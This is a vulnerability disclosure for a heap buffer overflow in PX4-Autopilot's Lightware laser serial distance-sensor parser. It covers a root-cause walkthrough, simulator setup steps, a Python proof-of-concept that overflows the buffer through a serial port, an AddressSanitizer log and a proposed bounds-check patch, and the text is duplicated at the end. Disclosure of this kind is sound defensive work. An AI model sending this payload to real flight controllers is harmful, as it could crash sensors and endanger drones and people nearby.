Summary
We identified a heap buffer overflow vulnerability in the parser function due to the absence of parserbuf_index value checking.
Target code: src/drivers/distance_sensor/lightware_laser_serial/parser.cpp:87.
We have investigated by the following process.
- We enabled the
lightware_laser_serial driver.
- We wrote the arbitrary input to
readbuf buffer used in lightware_laser_serial::collect function.
- The heap buffer overflow vulnerability had triggered in the
lightware_parser function when it parses the data.
When we send the following data, it can trigger the vulnerability.
payload = b'\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
Details
-
We first assumed that we can write the arbitrary input into readbuf. We’ve found the corresponding code in src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial.cpp:175.
int ret = ::read(_fd, &readbuf[0], readlen);
-
After then, it calls lightware_parser function to parse the read data at src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial.cpp:222.
if (OK == lightware_parser(readbuf[i], _linebuf, &_linebuf_index, &_parse_state, &distance_m)) {
readbuf: 10 bytes sized buffer
_linebuf: LightwareLaserSerial object’s 10 bytes sized buffer
_linebuf_index: LightwareLaserSerial object’s sizeof(unsigned) sized the index of _linebuf
_parse_state: state information ( initial value: LW_PARSE_STATE0_UNSYNC )
distance_m: distance value
-
In the lightware_parser function, LW_PARSE_STATE2_GOT_DIGIT0 state can be repeated unexpectedly without proper parserbuf_index or state checking. This behavior will trigger a heap buffer overflow vulnerability by allowing to write some data. And the writable size is maximum value of an unsigned int
int lightware_parser(char c, char *parserbuf, unsigned *parserbuf_index, enum LW_PARSE_STATE *state, float *dist)
{
int ret = -1;
char *end;
switch (*state) {
case LW_PARSE_STATE0_UNSYNC:
if (c == '\n') {
*state = LW_PARSE_STATE1_SYNC; <--- [1]
(*parserbuf_index) = 0;
}
break;
case LW_PARSE_STATE1_SYNC:
if (c >= '0' && c <= '9') {
*state = LW_PARSE_STATE2_GOT_DIGIT0; <--- [2]
parserbuf[*parserbuf_index] = c;
(*parserbuf_index)++;
}
break;
case LW_PARSE_STATE2_GOT_DIGIT0:
if (c >= '0' && c <= '9') {
*state = LW_PARSE_STATE2_GOT_DIGIT0; <--- [3]
parserbuf[*parserbuf_index] = c;
(*parserbuf_index)++;
} else if (c == '.') {
*state = LW_PARSE_STATE3_GOT_DOT;
parserbuf[*parserbuf_index] = c;
(*parserbuf_index)++;
} else {
*state = LW_PARSE_STATE0_UNSYNC;
}
break;
//ommited
}
- After changing the state as [1] → [2] → [3], it repeats the state as
LW_PARSE_STATE2_GOT_DIGIT0 during the parsing data.
The problematic situation is caused by the absence of the proper parserbuf_index checking.
PoC
Environment setting
- Create serial interfaces by
socat -d -d pty,raw,echo=0 pty,raw,echo=0 command.
- In our case, serial interfaces was created on /dev/pts/2 and /dev/pts/4. The number of serial interfaces can be different on environment.
- Enable lightware_laser_serial driver by
make px4_sitl boardconfig command.
- drivers → distance sensors → lightware_laser_serial
- Execute SITL by
HEADLESS=1 PX4_ASAN=1 make px4_sitl jmavsim command.
- On the pxh prompt, start lightware_laser_serial driver module by
lightware_laser_serial start -d /dev/pts/2 command.
- Execute the PoC code as below.
We have tested on Ubuntu 22.04.3 LTS.
PoC Code
import serial
import time
ser = serial.Serial('/dev/pts/4')
if ser.isOpen():
print('Connection success')
else:
print('Connection failed')
exit()
payload = b'\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
try:
ser.write(payload)
print(f'Sent: {payload}')
except Exception as e:
print(f'Error: {e}')
finally:
ser.close()
print('Connection closed')
Address Sanitizer Log

=================================================================
==79396==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x611000018240 at pc 0x561dbb3c24aa bp 0x7f76e1b724f0 sp 0x7f76e1b724e0
WRITE of size 1 at 0x611000018240 thread T142
#0 0x561dbb3c24a9 in lightware_parser(char, char*, unsigned int*, LW_PARSE_STATE*, float*) /home/zeroone/PX4-Autopilot/src/drivers/distance_sensor/lightware_laser_serial/parser.cpp:87
#1 0x561dbb3c128f in LightwareLaserSerial::collect() /home/zeroone/PX4-Autopilot/src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial.cpp:222
#2 0x561dbb3c1527 in LightwareLaserSerial::Run() /home/zeroone/PX4-Autopilot/src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial.cpp:319
#3 0x561dbbc34096 in px4::WorkQueue::Run() /home/zeroone/PX4-Autopilot/platforms/common/px4_work_queue/WorkQueue.cpp:188
#4 0x561dbbc34f52 in WorkQueueRunner /home/zeroone/PX4-Autopilot/platforms/common/px4_work_queue/WorkQueueManager.cpp:238
#5 0x7f76e4e94ac2 in start_thread nptl/pthread_create.c:442
#6 0x7f76e4f26a3f (/lib/x86_64-linux-gnu/libc.so.6+0x126a3f)
0x611000018240 is located 0 bytes to the right of 256-byte region [0x611000018140,0x611000018240)
allocated by thread T0 here:
#0 0x7f76e60b61e7 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:99
#1 0x561dbb3c0466 in start /home/zeroone/PX4-Autopilot/src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial_main.cpp:57
#2 0x561dbb3c0466 in lightware_laser_serial_main /home/zeroone/PX4-Autopilot/src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial_main.cpp:158
#3 0x561dbbc50307 (/home/zeroone/PX4-Autopilot/build/px4_sitl_default/bin/px4+0x9f6307)
Thread T142 created by T5 here:
#0 0x7f76e6058685 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:216
#1 0x561dbbc35620 in WorkQueueManagerRun /home/zeroone/PX4-Autopilot/platforms/common/px4_work_queue/WorkQueueManager.cpp:324
Thread T5 created by T0 here:
#0 0x7f76e6058685 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:216
#1 0x561dbbc30041 in px4_task_spawn_cmd /home/zeroone/PX4-Autopilot/platforms/posix/src/px4/common/tasks.cpp:252
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/zeroone/PX4-Autopilot/src/drivers/distance_sensor/lightware_laser_serial/parser.cpp:87 in lightware_parser(char, char*, unsigned int*, LW_PARSE_STATE*, float*)
Shadow bytes around the buggy address:
0x0c227fffaff0: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
0x0c227fffb000: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c227fffb010: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c227fffb020: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c227fffb030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c227fffb040: 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa
0x0c227fffb050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fffb060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fffb070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fffb080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fffb090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==79396==ABORTING
Recommended Patch
int lightware_parser(char c, char *parserbuf, unsigned *parserbuf_index, enum LW_PARSE_STATE *state, float *dist)
{
int ret = -1;
char *end;
switch (*state) {
case LW_PARSE_STATE0_UNSYNC:
if (c == '\n') {
*state = LW_PARSE_STATE1_SYNC;
(*parserbuf_index) = 0;
}
break;
case LW_PARSE_STATE1_SYNC:
if (c >= '0' && c <= '9') {
*state = LW_PARSE_STATE2_GOT_DIGIT0;
parserbuf[*parserbuf_index] = c;
(*parserbuf_index)++;
}
break;
case LW_PARSE_STATE2_GOT_DIGIT0:
if (c >= '0' && c <= '9') {
if ( *parserbuf_index > 6 ) { <--- [1] should not be bigger than 6
*state = LW_PARSE_STATE0_UNSYNC;
}else {
*state = LW_PARSE_STATE2_GOT_DIGIT0;
parserbuf[*parserbuf_index] = c;
(*parserbuf_index)++;
}
} else if (c == '.') {
*state = LW_PARSE_STATE3_GOT_DOT;
parserbuf[*parserbuf_index] = c;
(*parserbuf_index)++;
} else {
*state = LW_PARSE_STATE0_UNSYNC;
}
break;
//ommited
}
- After the state becomes
LW_PARSE_STATE2_GOT_DIGIT0, the increment operation of parserbuf_index can be done 3 times. Considering the size of readline is 10 bytes, the parserbuf_index value shouldn’t be bigger than 9.
- So, we recommend to patch by adding a checking logic whether
parserbuf_index is bigger than 6. If parserbuf_index value is bigger than 6, the state must be initialized with LW_PARSE_STATE0_UNSYNC.
Impact
- A malfunction of the sensor device can cause a heap buffer overflow with leading unexpected drone behavior.
- Malicious applications can exploit the vulnerability even if device sensor malfunction does not occur.
- Up to maximum value of an
unsigned int bytes sized data can be written to the heap memory area.
Summary
We identified a heap buffer overflow vulnerability in the parser function due to the absence of
parserbuf_indexvalue checking.Target code: src/drivers/distance_sensor/lightware_laser_serial/parser.cpp:87.
We have investigated by the following process.
lightware_laser_serialdriver.readbufbuffer used inlightware_laser_serial::collectfunction.lightware_parserfunction when it parses the data.When we send the following data, it can trigger the vulnerability.
Details
We first assumed that we can write the arbitrary input into
readbuf. We’ve found the corresponding code in src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial.cpp:175.After then, it calls
lightware_parserfunction to parse the read data at src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial.cpp:222.if (OK == lightware_parser(readbuf[i], _linebuf, &_linebuf_index, &_parse_state, &distance_m)) {readbuf: 10 bytes sized buffer_linebuf: LightwareLaserSerial object’s 10 bytes sized buffer_linebuf_index: LightwareLaserSerial object’ssizeof(unsigned)sized the index of_linebuf_parse_state: state information ( initial value:LW_PARSE_STATE0_UNSYNC)distance_m: distance valueIn the
lightware_parserfunction,LW_PARSE_STATE2_GOT_DIGIT0state can be repeated unexpectedly without properparserbuf_indexorstatechecking. This behavior will trigger a heap buffer overflow vulnerability by allowing to write some data. And the writable size is maximum value of anunsigned intLW_PARSE_STATE2_GOT_DIGIT0during the parsing data.The problematic situation is caused by the absence of the proper
parserbuf_indexchecking.PoC
Environment setting
socat -d -d pty,raw,echo=0 pty,raw,echo=0command.make px4_sitl boardconfigcommand.HEADLESS=1 PX4_ASAN=1 make px4_sitl jmavsimcommand.lightware_laser_serial start -d /dev/pts/2command.PoC Code
Address Sanitizer Log
================================================================= ==79396==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x611000018240 at pc 0x561dbb3c24aa bp 0x7f76e1b724f0 sp 0x7f76e1b724e0 WRITE of size 1 at 0x611000018240 thread T142 #0 0x561dbb3c24a9 in lightware_parser(char, char*, unsigned int*, LW_PARSE_STATE*, float*) /home/zeroone/PX4-Autopilot/src/drivers/distance_sensor/lightware_laser_serial/parser.cpp:87 #1 0x561dbb3c128f in LightwareLaserSerial::collect() /home/zeroone/PX4-Autopilot/src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial.cpp:222 #2 0x561dbb3c1527 in LightwareLaserSerial::Run() /home/zeroone/PX4-Autopilot/src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial.cpp:319 #3 0x561dbbc34096 in px4::WorkQueue::Run() /home/zeroone/PX4-Autopilot/platforms/common/px4_work_queue/WorkQueue.cpp:188 #4 0x561dbbc34f52 in WorkQueueRunner /home/zeroone/PX4-Autopilot/platforms/common/px4_work_queue/WorkQueueManager.cpp:238 #5 0x7f76e4e94ac2 in start_thread nptl/pthread_create.c:442 #6 0x7f76e4f26a3f (/lib/x86_64-linux-gnu/libc.so.6+0x126a3f) 0x611000018240 is located 0 bytes to the right of 256-byte region [0x611000018140,0x611000018240) allocated by thread T0 here: #0 0x7f76e60b61e7 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:99 #1 0x561dbb3c0466 in start /home/zeroone/PX4-Autopilot/src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial_main.cpp:57 #2 0x561dbb3c0466 in lightware_laser_serial_main /home/zeroone/PX4-Autopilot/src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial_main.cpp:158 #3 0x561dbbc50307 (/home/zeroone/PX4-Autopilot/build/px4_sitl_default/bin/px4+0x9f6307) Thread T142 created by T5 here: #0 0x7f76e6058685 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:216 #1 0x561dbbc35620 in WorkQueueManagerRun /home/zeroone/PX4-Autopilot/platforms/common/px4_work_queue/WorkQueueManager.cpp:324 Thread T5 created by T0 here: #0 0x7f76e6058685 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:216 #1 0x561dbbc30041 in px4_task_spawn_cmd /home/zeroone/PX4-Autopilot/platforms/posix/src/px4/common/tasks.cpp:252 SUMMARY: AddressSanitizer: heap-buffer-overflow /home/zeroone/PX4-Autopilot/src/drivers/distance_sensor/lightware_laser_serial/parser.cpp:87 in lightware_parser(char, char*, unsigned int*, LW_PARSE_STATE*, float*) Shadow bytes around the buggy address: 0x0c227fffaff0: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa 0x0c227fffb000: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c227fffb010: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c227fffb020: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c227fffb030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c227fffb040: 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa 0x0c227fffb050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c227fffb060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c227fffb070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c227fffb080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c227fffb090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==79396==ABORTINGRecommended Patch
LW_PARSE_STATE2_GOT_DIGIT0, the increment operation ofparserbuf_indexcan be done 3 times. Considering the size ofreadlineis 10 bytes, theparserbuf_indexvalue shouldn’t be bigger than 9.parserbuf_indexis bigger than 6. Ifparserbuf_indexvalue is bigger than 6, the state must be initialized withLW_PARSE_STATE0_UNSYNC.Impact
unsigned intbytes sized data can be written to the heap memory area.